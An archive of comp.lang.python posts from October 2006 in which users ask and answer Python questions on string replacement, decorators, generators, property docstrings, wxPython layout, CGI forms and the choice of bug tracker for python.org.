print '\rQuestion?',


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From rdh at new.rr.com  Thu Oct 26 17:27:11 2006
From: rdh at new.rr.com (DataSmash)
Date: 26 Oct 2006 14:27:11 -0700
Subject: Search & Replace
Message-ID: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>

Hello,
I need to search and replace 4 words in a text file.
Below is my attempt at it, but this code appends
a copy of the text file within itself 4 times.
Can someone help me out.
Thanks!

# Search & Replace
file = open("text.txt", "r")
text = file.read()
file.close()

file = open("text.txt", "w")
file.write(text.replace("Left_RefAddr", "FromLeft"))
file.write(text.replace("Left_NonRefAddr", "ToLeft"))
file.write(text.replace("Right_RefAddr", "FromRight"))
file.write(text.replace("Right_NonRefAddr", "ToRight"))
file.close()



From jcoleman at franciscan.edu  Wed Oct 25 17:47:07 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 25 Oct 2006 14:47:07 -0700
Subject: question about True values
In-Reply-To: <453FD3AF.4040800@v.loewis.de>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
Message-ID: <1161812827.596356.316450@f16g2000cwb.googlegroups.com>


Martin v. L?wis wrote:
> John Coleman schrieb:
> > Yes - it just seems that there isn't a principled reason for implicitly
> > converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to
> > boolean in "cat" == true.
>
> Sure there is: equality should be transitive. So while we have
> 3 == 3L == 3.0 == 3.0+0j
> and can therefore imply that 3 == 3.0+0j, we should not get
> 5 == True == ["foo"]
> and therefore imply that 5 == ["foo"].
>
> The phenomenon really exists only for numeric types (that two
> values of different types still represent the same "thing"),
> so it's not surprising that this doesn't readily extend to
> other types.
>
> In Python, there are only very few similar cases: byte strings
> and unicode strings sometimes compare equal (but, since 2.5,
> don't compare unequal very often); lists and tuples could be
> considered to have equal values, but don't actually do compare
> equal.
>
> Regards,
> Martin

Very good point, though one could argue perhaps that when one is
comparing an object with a truth value then one is implicitly asking
for the truth value of that object i.e. how it would function if used
in an if statement, etc. This would make code like 'if s: ' equivalent
to 'if s == True:' with a possible gain in readability. But - as you
demonstrate the cost of that (minimal) gain in readability would be too
high. In any event - I think it is mostly bad style to use a
non-boolean variable in 'if s:' - it reminds me too much of obscure C
code (though others might disagree).

-John Coleman



From aahz at pythoncraft.com  Wed Oct  4 22:24:36 2006
From: aahz at pythoncraft.com (Aahz)
Date: 4 Oct 2006 19:24:36 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<eg0bo2$obu$1@nnrp.ngi.it>
	<mailman.1276.1159977112.10491.python-list@python.org>
	<eg0q7a$u0e$1@nnrp.ngi.it>
Message-ID: <eg1qd4$ema$1@panix3.panix.com>

In article <eg0q7a$u0e$1 at nnrp.ngi.it>,
Giovanni Bajo <raNOsky at deveSPAMler.com> wrote:
>
>I wonder why the PSF infrastructure committee believes that a group of 6-10
>people is needed to "install and maintain" Roundup. 

Because Roundup has been "the answer" for at least two or three years,
but somehow it never has gotten enough concerted attention to make it
happen.  I'm sure that experience informed much of the Infrastructure
Committee's work.

I suspect in the end that if four or five people who are known to follow
through on their commitments volunteered that probably would be enough.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"LL YR VWL R BLNG T S"  -- www.nancybuttons.com


From amk at amk.ca  Wed Oct  4 13:53:36 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 04 Oct 2006 12:53:36 -0500
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org> <eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<7xk63gry9z.fsf@ruckus.brouhaha.com>
Message-ID: <7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net>

On 04 Oct 2006 06:44:24 -0700, 
	Paul Rubin <> wrote:
> Right now there is not even agreement on what the goal is.  

The goal is a new tracker for python.org that the developers like
better; the original call lists 3 reasons (bad interface; lack of
reliability; lack of workflow controls).

> The surprise people are expressing is because they thought one of the
> goals of a big open source project would be to avoid reliance on
> closed tools.

I don't think Python has ever had this as a goal.  Python's license
lets it be embedded in closed-source products; Windows binaries are
built using closed-source tools (MS Visual C), and on some platforms
we use a closed-source system compiler; python.org used to be a
Solaris box, and now uses SourceForge which runs on top of DB/2...

IMHO, using Jira presents risks that are manageable:

* A data export is available if we decide to switch.  Writing a script to
  take this export and convert to a new tracker is non-trivial, but the 
  same is true of any other tracker we might choose; switching from 
  Roundup to Trac or Trac to Launchpad is also going to require some
  effort.  Therefore, I don't think our data is locked-in any more 
  than any other tracker.

* The offer of hosting means this won't consume very much
  administrative time. Perhaps the hosting offered will be found to be
  unreliable.  If that's the case, we can reconsider the choice of
  tracker, or (less likely) host Jira ourselves.

* There are no Bitkeeper-like licensing issues like the non-compete
  clause, so that isn't a factor; Roundup and Trac developers can file
  bugs and use the tracker just like anyone else.

* The interface is very flexible and lots of customization can be done
  through the web.  This means we don't have to hack the code at all,
  and upgrades should theoretically go smoothly.

It would be nice to have the additional tick-box feature 'is open
source', but the upsides are large enough that I can let go of 
that issue with only slight regret.

--amk


From bearophileHUGS at lycos.com  Wed Oct 18 19:32:41 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 18 Oct 2006 16:32:41 -0700
Subject: making a valid file name...
In-Reply-To: <mailman.651.1161107074.11739.python-list@python.org>
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
	<mailman.647.1161104867.11739.python-list@python.org>
	<slrneja46b.10g.horpner@FIAD06.norwich.edu>
	<mailman.651.1161107074.11739.python-list@python.org>
Message-ID: <1161214360.953216.284600@k70g2000cwa.googlegroups.com>

Tim Chase:
> In practice, however, for such small strings as the given
> whitelist, the underlying find() operation likely doesn't put a
> blip on the radar.  If your whitelist were some huge document
> that you were searching repeatedly, it could have worse
> performance.  Additionally, the find() in the underlying C code
> is likely about as bare-metal as it gets, whereas the set
> membership aspect of things may go through some more convoluted
> setup/teardown/hashing and spend a lot more time further from the
> processor's op-codes.

With this specific test (half good half bad), on Py2.5, on my PC, sets
start to be faster than the string search when the string "good" is
about 5-6 chars long (this means set are quite fast, I presume).

from random import choice, seed
from time import clock

def main(choice=choice):
    seed(1)
    n = 100000

    for good in ("ab", "abc", "abcdef", "abcdefgh",
                 "abcdefghijklmnopqrstuvwxyz"):
        poss = good + good.upper()
        data = [choice(poss) for _ in xrange(n)] * 10
        print "len(good) = ", len(good)

        t = clock()
        for c in data:
            c in good
        print round(clock()-t, 2)

        t = clock()
        sgood = set(good)
        for c in data:
            c in sgood
        print round(clock()-t, 2), "\n"

main()


Bye,
bearophile



From glen.coates.bigworld at gmail.com  Wed Oct  4 09:35:45 2006
From: glen.coates.bigworld at gmail.com (glen.coates.bigworld at gmail.com)
Date: 4 Oct 2006 06:35:45 -0700
Subject: Access to static members from inside a method decorator?
Message-ID: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>

I'm developing a library at the moment that involves many classes, some
of which have "exposed" capabilities.  I'm trying to design a nice
interface for both exposing those capabilities, and inspecting
instances to find out what capabilities they have.

At the moment, I'm leaning towards a superclass (Exposed) that defines
a static method which is a decorator (expose) such that any derived
class can mark a method with @Exposed.expose and it will then be later
returned by getExposedMethods(), a la:

class Exposed:
  @staticmethod
  def expose( f ):
    ...

  def getExposedMethods( self ):
    ...

class Person( Exposed ):
  @Exposed.expose
  def talk( self, ... ):
    ...

I'm trying to implement the decorator by having it populate a static
member list of whatever class it's in with a reference to the method.
getExposedMethods() would then return the contents of each of those
lists from itself back to Exposed in the class hierarchy.  The first
problem was that having a reference to the method (i.e. talk()) does
not allow you to get a reference to the enclosing class (I had hoped
im_class would lead me there).  The real hiccup was that explicitly
passing the class as an argument to the decorator generates a undefined
global name error, presumably because at that point of execution the
class object hasn't been fully created/initialised.

So how can this be done?  It doesn't seem like it's possible to pass a
reference to the enclosing class into the decorator, which in turn
means that static tracking of the list of exposed methods is impossible
(at least, if I want to use decorators).

Any ideas that will enable my initial design, or suggestions for an
elegant, workable alternative would be much appreciated.

Cheers,
Glen



From paul at boddie.org.uk  Tue Oct 31 10:14:55 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 31 Oct 2006 07:14:55 -0800
Subject: Python tools for managing static websites?
References: <d6e943400610310409i6c3672cdvba64f70f8a05547f@mail.gmail.com>
	<mailman.1551.1162307142.11739.python-list@python.org>
Message-ID: <1162307695.782590.201230@e3g2000cwe.googlegroups.com>

Walter D?rwald skrev:
> Chris Pearl wrote:
>
> > Are there Python tools to help webmasters manage static websites?
>
> You might give XIST a try: http://www.livinglogic.de/Python/xist/

See also the list on the python.org Wiki:

http://wiki.python.org/moin/Templating

The "Static Website Generators" section has some references to various
tools, although I note that XIST is only featured in the "HTML
Generation Packages" section.

Paul



From bjobrien62 at gmail.com  Tue Oct  3 19:31:05 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 3 Oct 2006 16:31:05 -0700
Subject: array tofile fromfile tosocket? fromsocket?
In-Reply-To: <efugt8$ima$03$3@news.t-online.com>
References: <1159896540.328282.242100@m7g2000cwm.googlegroups.com>
	<efugt8$ima$03$3@news.t-online.com>
Message-ID: <1159918265.027859.227100@h48g2000cwc.googlegroups.com>


Thomas Jollans wrote:
> On Tue, 03 Oct 2006 10:29:00 -0700, "SpreadTooThin" <bjobrien62 at gmail.com>
> let this slip:
>
> > I was under the impression that a file and socket were interchangable
> > (like a file descriptor).   Does anyone have an idea that might help me
> > minimize the impact on my code?
>
> are you looking for sockets' makefile method ?
>
Yes.. but also I'm thinking about a new python class based on array...
like (psuedo code)

class myArray(array):
   def todevice(self, device):
      if device is a file:
         self.tofile
      else
         writesocket(data)
   def fromdevice(self, device):

Is this advisable?



 
> -- 

> Thomas Jollans alias free-zombie



From danb_83 at yahoo.com  Fri Oct  6 12:18:53 2006
From: danb_83 at yahoo.com (Dan Bishop)
Date: 6 Oct 2006 09:18:53 -0700
Subject: Automatic import PEP
In-Reply-To: <mailman.491.1158981359.10491.python-list@python.org>
References: <mailman.491.1158981359.10491.python-list@python.org>
Message-ID: <1160151531.628593.230160@m73g2000cwd.googlegroups.com>

On Sep 22, 10:09 pm, Connelly Barnes <connellybar... at yahoo.com> wrote:
> Hi,
>
> I wrote the 'autoimp' module [1], which allows you to import lazy modules:
>
> from autoimp import *     (Import lazy wrapper objects around all modules; "lazy
>                            modules" will turn into normal modules when an attribute
>                            is first accessed with getattr()).
> from autoimp import A, B  (Import specific lazy module wrapper objects).
>
> The main point of autoimp is to make usage of the interactive Python prompt
> more productive by including "from autoimp import *" in the PYTHONSTARTUP file.

And it does.  Gets rid of "oops, I forgot to import that module"
moments without cluttering my $PYTHONSTARTUP file with imports.  +1.

My only complaint is that it breaks globals().



From codecraig at gmail.com  Mon Oct 30 15:04:16 2006
From: codecraig at gmail.com (abcd)
Date: 30 Oct 2006 12:04:16 -0800
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <PJs1h.204$1n3.4348@news.tufts.edu>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
Message-ID: <1162238656.661097.75180@f16g2000cwb.googlegroups.com>

On Oct 30, 2:52 pm, John Salerno <johnj... at NOSPAMgmail.com> wrote:
Don't know for sure, but you can try calling the Refresh() method on
the
> text control and see if that fixes it.

Didn't make a difference.  Not sure what the problem is, I am wondering
if it is a layout issue since that is my weak spot with wxPython.

        sizerTextPanel =
wx.StaticBoxSizer(self.sizerTextPanel_staticbox, wx.HORIZONTAL)
        sizerTextPanel .Add(self.textPane, 1, wx.ALL|wx.EXPAND, 2)
        self.textPanel.SetAutoLayout(True)
        self.textPanel.SetSizer(sizerTextPanel )
        sizerTextPanel .Fit(self.textPanel)
        sizerTextPanel .SetSizeHints(self.textPanel)
        sizerMainPanel.Add(self.textPanel, 3, wx.ALL|wx.EXPAND, 0)


not sure if that means anything to anyone :)



From cus_aba at yahoo.com  Mon Oct 16 14:10:14 2006
From: cus_aba at yahoo.com (aba cus)
Date: Mon, 16 Oct 2006 11:10:14 -0700 (PDT)
Subject: set operations on dictionaries?
Message-ID: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com>

              It should be quite obvious what should happen when the values stored for
    the relevant keys are identical. It is less obvious (and needs some
    though) what should happen when the keys are the same in the two
    operands, but the values are different.

I think you answered you own proposal in the negative.  Precisely because
the result of this example

    {1: 10, 2: 20} | {2: 25, 3:30}

is ill-defined, Python shouldn't implement set operations on dictionaries.

"In the face of ambiguity, refuse the temptation to guess."



I understand this point but this is just an argument for saying that it should throw an exception when the values don't match. It is not an argument for not doing the logical thing when they do. In fact in many situations it can be reasonably expected that the values will be the same. If not, give an error. There is no danger in that. The programmer should know whether this is a reasonable expectation in any givn case.
(As it is at the moment, you get an error even if they match...)




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From fredrik at pythonware.com  Tue Oct 17 05:00:15 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 11:00:15 +0200
Subject: COM Error -- Urgent help
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com><45347682$0$25906$ba4acef3@news.orange.fr><1161070831.102884.37930@e3g2000cwe.googlegroups.com><mailman.619.1161071484.11739.python-list@python.org>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
Message-ID: <eh262v$plq$1@sea.gmane.org>

Teja wrote:

> s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e)
>
>        thread.start_new_thread(self.nav, (s,'www.google.com')
>
> I am getting an attribute error

the traceback tells you what attribute Python was looking for, and may also provide
additional clues.  can you post the traceback too?  make sure you include all of it.

</F> 





From deets at nospam.web.de  Mon Oct 30 14:48:07 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Mon, 30 Oct 2006 20:48:07 +0100
Subject: enumerate improvement proposal
In-Reply-To: <TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
Message-ID: <4qn37kFmc3q0U1@uni-berlin.de>

> Okay, I've googled "leaky abstractions" (as was probably your intended
> affect with your silence), read the famous essay, and still
> don't know what you mean and how it applies to what I have described.
> 
> Do you plan to justify your statement or emptily accuse people of violating
> esoteric principles?

While I can't claim to know what the effbot thinks (the 
skull-socks-wearing-python-coder-mindlink-technology is yet to be 
developed), I think it's pretty clear what he is after here:

Computers compute offsets into data zero-based. Some languages like 
pascal completely abstract that away from the user, but python doesn't.

So if your colleague/boss/whatever insists on indices being one-based, 
this abstraction you introduced for her pretty fast leaks pretty badly. 
Consider this simple example:

for offset, item in enumerate(some_list, start=1):
     if item.is_the_chosen_one():
         chosen_one_offset = offset

the_chosen_one = some_list[chosen_one_offset]

And bang, its Judas not Petrus who gets the pearly gates inc. stock options.

Diez


From deets at nospam.web.de  Sat Oct 21 14:18:36 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 21 Oct 2006 20:18:36 +0200
Subject: User Access to the docstring of a property
In-Reply-To: <mailman.904.1161448715.11739.python-list@python.org>
References: <mailman.843.1161353895.11739.python-list@python.org>	<1161358350.212350.170580@m7g2000cwm.googlegroups.com>
	<mailman.904.1161448715.11739.python-list@python.org>
Message-ID: <4pv6jqFkr92sU1@uni-berlin.de>

Colin J. Williams schrieb:
> George,
> 
> Thanks to Dietz and yourself.
> 
> Yes, I should have referenced the class, rather than the instance. 
> However, for methods, the docstring is revealed for an instance.
> 
> Colin W.
> 
> PS It would help if someone could explain the use of @apply in the 
> example Dietz gave.  The documentation gives no reference to @ or to 

The decorator semantics are simple:


@a
@b(argument)
def foo():
    pass

get translated to

foo = a(b(argument)(foo))

as a decorator is nothing but function that is called with one thing, 
and returns something else. or the same thing, by the way.

Now apply was important back then before the *args and **keywordargs 
shortcuts where introduced.

It basically takes a function as first argument, and possibly a list 
and/or dict, and invokes the function with that argumens in place.

So

def foo(a):
    print a

apply(foo, [10])

works as simple as

foo(10)


locals() is a built-in that returns a dictionary which contains all the 
locally known names.

And property is a descriptor-creation-function, that has this signature:

property(fget, fset, fdel, doc)

Now we have all we need to decompose that neat property-creation-trick 
that doesn't pollute the class' namespace:

class Foo(object):
   @apply
   def bar():
      def fget(self):
          return self._bar
      doc = "bar property"
      return property(**locals())



What happens is this:

the decoration gets translated to this:

bar = apply(bar)

which does simply invoke bar, and assign the result to the name bar in 
the class.

invoking bar executes the property function, which is fed with the 
dictionary of the locals - coincidently named after the named arguments 
property takes.


What I really do love about this: it doesn't pollute the namespace.

Regards,

Diez


From eurleif at ecritters.biz  Mon Oct 23 19:40:01 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Mon, 23 Oct 2006 19:40:01 -0400
Subject: pretty basic instantiation question
In-Reply-To: <mailman.1024.1161646594.11739.python-list@python.org>
References: <mailman.2408.1161640980.11738.python-list@python.org>
	<mailman.1024.1161646594.11739.python-list@python.org>
Message-ID: <453d5215$0$13811$4d3efbfe@news.sover.net>

sittner at lkb.ens.fr wrote:
> let's say i have a class, and i need to create a different number of
> instances (changes every time - and i can't know the number in advance) in
> a loop.
> a function receives the number of instances that are needed, and creates
> them like,
> a=Myclass()
> b=Myclass()

def create_instances(n):
     return [Myclass() for i in xrange(n)]


From superflit at gmail.com  Tue Oct 24 16:33:37 2006
From: superflit at gmail.com (flit)
Date: 24 Oct 2006 13:33:37 -0700
Subject: Simple python + html + from --> to python script
Message-ID: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>

Hello All,

I am trying to get information from a form and send it to a python
script without success..
Here is my objective:

User enters data in form --> form send variables to python script -->
script runs and output result.

the form code

<form method="post" action="/cgi-bin/script.py" name="coord">Entre com
os dados <input name="data1"><br>

Entre com os dados <input name="data2"><br>
Vai magraum <button name="submete"></button></form>

In my script.py

What I should have to print
something like

Hello the data1 + data 2 = ....

?

Maybe I am stumbling in something very simple, but I cannot find some
working example, and I am totally confused...
Thanks in advance



From fabien.benard at gmail.com  Sun Oct 15 19:02:22 2006
From: fabien.benard at gmail.com (fabien.benard at gmail.com)
Date: 15 Oct 2006 16:02:22 -0700
Subject: SOAPpy and callback
In-Reply-To: <c42Yg.91423$5o5.16771@tornado.texas.rr.com>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<_8NXg.46981$DU3.27448@tornado.texas.rr.com>
	<4p9r78Fi2olfU1@uni-berlin.de>
	<X4PXg.47137$DU3.34168@tornado.texas.rr.com>
	<4parepFho4q7U1@uni-berlin.de>
	<c42Yg.91423$5o5.16771@tornado.texas.rr.com>
Message-ID: <1160953342.637095.301950@b28g2000cwb.googlegroups.com>

Ok guys, thanks for the lesson! I'm probably not going to try to
implement this solution. However, I've learned a lot!



From Leo.Kislov at gmail.com  Wed Oct 25 17:18:44 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 25 Oct 2006 14:18:44 -0700
Subject: How to identify generator/iterator objects?
References: <mailman.1200.1161805415.11739.python-list@python.org>
Message-ID: <1161811124.057313.165320@i3g2000cwc.googlegroups.com>


Kenneth McDonald wrote:
> I'm trying to write a 'flatten' generator which, when give a
> generator/iterator that can yield iterators, generators, and other data
> types, will 'flatten' everything so that it in turns yields stuff by
> simply yielding the instances of other types, and recursively yields the
> stuff yielded by the gen/iter objects.
>
> To do this, I need to determine (as fair as I can see), what are
> generator and iterator objects. Unfortunately:
>
>  >>> iter("abc")
> <iterator object at 0x61d90>
>  >>> def f(x):
> ...     for s in x: yield s
> ...
>  >>> f
> <function f at 0x58230>
>  >>> f.__class__
> <type 'function'>
>
> So while I can identify iterators, I can't identify generators by class.

But f is not a generator, it's a function returning generator:

>>> def f():
...     print "Hello"
...     yield 1
...
>>> iter(f)
Traceback (most recent call last):
  File "<input>", line 1, in ?
TypeError: iteration over non-sequence
>>> iter(f())
<generator object at 0x016C7238>
>>> type(f())
<type 'generator'>
>>> 

Notice, there is no side effect of calling f function.

  -- Leo



From ironfroggy at gmail.com  Mon Oct  9 18:26:29 2006
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Mon, 9 Oct 2006 18:26:29 -0400
Subject: Initialization of variables using no-arg constructor
In-Reply-To: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
References: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
Message-ID: <76fd5acf0610091526pa492901qc35c044c89a03c25@mail.gmail.com>

On 10/9/06, Edward Waugh <edward_waugh at hotmail.com> wrote:
> Consider the following (working) Python code:
>
> import sys
>
> def sum(list):
>     # total = 0 does not work for non-numeric types
>     total = list[0].__class__()
>     for v in list:
>         total += v
>     return total
>
> l = [1, 2, 3]
> print sum(l)
>
> l = [1.1, 2.2, 3.3]
> print sum(l)
>
> l = ["a", "b", "c"]
> print sum(l)
>
> In order for sum() to be generic I initialize total to the value of
> list[0].__class__().  This works but I would like to know if this is the
> correct or preferred way of doing it.  It means that sum() must be given a
> list whose elements are types or classes that have a no-arg constructor
> (through this is probably almost always the case).
>
> Thanks,
> Edward

First of all, you never need to initialize the total to 0 of some
specific type. You can just start with list[0] as the total and
iterate over all the remaining values.

Of course, you could just use reduce(lambda a,b: a+b, the_list) instead.
Of course, you should never use list as a name, its a builtin already.
Of course, you could just use the sum builtin (for numbers).

-- 
Read my blog! I depend on your acceptance of my opinion! I am interesting!
http://ironfroggy-code.blogspot.com/


From johnjsal at NOSPAMgmail.com  Mon Oct 30 10:06:13 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 15:06:13 GMT
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
Message-ID: <Fxo1h.192$1n3.4526@news.tufts.edu>

John Coleman wrote:
> Greetings,
>    My copy of the second edition of Chun's "Core Python Programming"
> just arrived from Amazon on Friday.

Who would you say the book is aimed at? Advanced programmers? I thought 
about getting it, but I'm not sure if it will be either 1) too much 
repetition of the basics I've already learned (which isn't necessarily a 
bad thing), or 2) too advanced for me right now.

Thanks.


From dale at riverhall.nospam.co.uk  Tue Oct 17 07:45:02 2006
From: dale at riverhall.nospam.co.uk (Dale Strickland-Clark)
Date: Tue, 17 Oct 2006 12:45:02 +0100
Subject: We're recruiting Python programmers
Message-ID: <an3Zg.115107$QL1.21774@fe24.usenetserver.com>

I'll keep this brief. Please see the web site for details

Thanks.
-- 
Dale Strickland-Clark
We are recruiting Python programmers. Please see the web site.
Riverhall Systems www.riverhall.co.uk



From fredrik at pythonware.com  Tue Oct 24 05:06:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 11:06:55 +0200
Subject: How to get each pixel value from a picture file!
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com><mailman.1013.1161637584.11739.python-list@python.org><1161643563.111993.109480@b28g2000cwb.googlegroups.com><mailman.1021.1161644257.11739.python-list@python.org><1161645289.453600.107140@h48g2000cwc.googlegroups.com>
	<kJi%g.14274$Y24.913@newsread4.news.pas.earthlink.net>
Message-ID: <ehkl3e$u9b$1@sea.gmane.org>

Dennis Lee Bieber wrote:

>> 2) i think putpixel((44, 55), (0, 0, 0)) and putpixel((44,55),0) is
>> same.
>
> It shouldn't be... The former is three separate data values, the
> latter is one.

the "putpixel" API is polymorphic; you can use either tuples or integers
for RGB pixels (the latter should have the form 0xAARRGGBB).

</F> 





From f.braennstroem at gmx.de  Fri Oct 13 05:08:31 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Fri, 13 Oct 2006 11:08:31 +0200
Subject: 3D Vector Type Line-Drawing Program
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08>
	<452d2474$1@nntp0.pdx.net> <ZlzXg.5980$fl.1465@dukeread08>
	<452ec6e7$1@nntp0.pdx.net>
Message-ID: <egnl2f$bf3$1@sea.gmane.org>

Hi,

I am not sure, if that is, what your looking for, but
with 'salome' you able to produce 3D drawings with an GUI or
using a python script. Take a look at:

http://www.salome-platform.org/home/presentation/geom/

* Scott David Daniels <scott.daniels at acm.org> wrote:
> Ron Adam wrote:
>> Scott David Daniels wrote:
>>> Ron Adam wrote:
>>>> ... Is there a way to have the display show a wire frame image instead of 
>>>> shaded shapes?
>>> You can draw the edges as lines.
>> 
>> Is there a setting for this?, or are you suggesting reading the 
>> coordinates and creating curve objects for the edges?
> Nope, you'd have to make a poly line which was the wire frame, but it
> would then rotate and such with the rest of the model.  Essentially
> you would, for each primitive, have a wire-frame and a volumetric
> version, and keep one of the two visible (with the other invisible)
> at all times.
>
>>>> Is there an easy way to convert a display to something that can be 
>>>> printed?
>>>
>>> You can generate POV-ray source.  This is not a system for creating
>>> beautiful pictures, but rather a great 3-D sketch pad.
>
> Now POV-ray _will_ create beautiful pictures, but the texturing,
> shading, and lighting control that POV-ray gives you exceeds that
> of VPython.  You could use VPython to get you model built and view-
> point placed, and the tweak the POV-ray code to get pretty output.
>
> --Scott David Daniels
> scott.daniels at acm.org
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>

Greetings!
 Fabian



From bdesth.quelquechose at free.quelquepart.fr  Thu Oct 26 18:47:50 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Fri, 27 Oct 2006 00:47:50 +0200
Subject: conditional computation
In-Reply-To: <ehr562$251c$1@ulysses.news.tiscali.de>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
Message-ID: <4541369b$0$2875$426a74cc@news.free.fr>

robert a ?crit :
(snip)
> class MemoCache(dict): # cache expensive Objects during a session 
> (memory only)
>    def memo(self, k, f):
>        try: return self[k]
>        except IndexError:
>            return self.setdefault(k, f())
> cache=MemoCache()
> ...
> 
> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )
> 

And how do you get back the cached value without rewriting both 
complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ?


From dave.opstad at monotypeimaging.com  Tue Oct  3 10:16:38 2006
From: dave.opstad at monotypeimaging.com (Dave Opstad)
Date: Tue, 03 Oct 2006 07:16:38 -0700
Subject: py2app console
References: <P9sUg.1250$NE6.423@newssvr11.news.prodigy.com>
Message-ID: <dave.opstad-B1763B.07163803102006@reader0903.news.uu.net>

In article <P9sUg.1250$NE6.423 at newssvr11.news.prodigy.com>,
 James Stroud <jstroud at mbi.ucla.edu> wrote:

> Does anyone know of the most straightforward way to get rid of the 
> intensely annoying "console" window that py2app feels so compelled to 
> create?

I include this code in my apps:

    if (sys.platform != "win32") and hasattr(sys, 'frozen'):
        root.tk.call('console', 'hide')

That hides the console in py2app applications.

Dave


From fredrik at pythonware.com  Thu Oct  5 23:02:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 05:02:54 +0200
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <eg4h0t$1r7$2@sea.gmane.org>

s99999999s2003 at yahoo.com wrote:

 > say i have variables like these
 >
 > var1 = "blah"
 > var2 = "blahblah"
 > var3 = "blahblahblah"
 > var4 = "...."
 > var5 = "..."..
 >
 > bcos all the variable names start with "var", is there a way to
 > conveniently print those variables out...

do you often (or always) treat these as a collection ?  why not just put 
the values in a list (or tuple) instead ?

</F>



From fredrik at pythonware.com  Sun Oct 29 07:38:19 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 13:38:19 +0100
Subject: enumerate improvement proposal
In-Reply-To: <Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
Message-ID: <ei27br$skv$1@sea.gmane.org>

James Stroud wrote:

> The code is for an economist. She is insistent on starting with the 
> first bin as 1.

leaky abstractions in reverse, in other words?  that's not a good design 
approach.

</F>



From greg.landrum at gmail.com  Wed Oct  4 13:39:08 2006
From: greg.landrum at gmail.com (greg.landrum at gmail.com)
Date: 4 Oct 2006 10:39:08 -0700
Subject: switching to numpy and failing, a user story
In-Reply-To: <1159953820.785009.179540@i42g2000cwa.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159953820.785009.179540@i42g2000cwa.googlegroups.com>
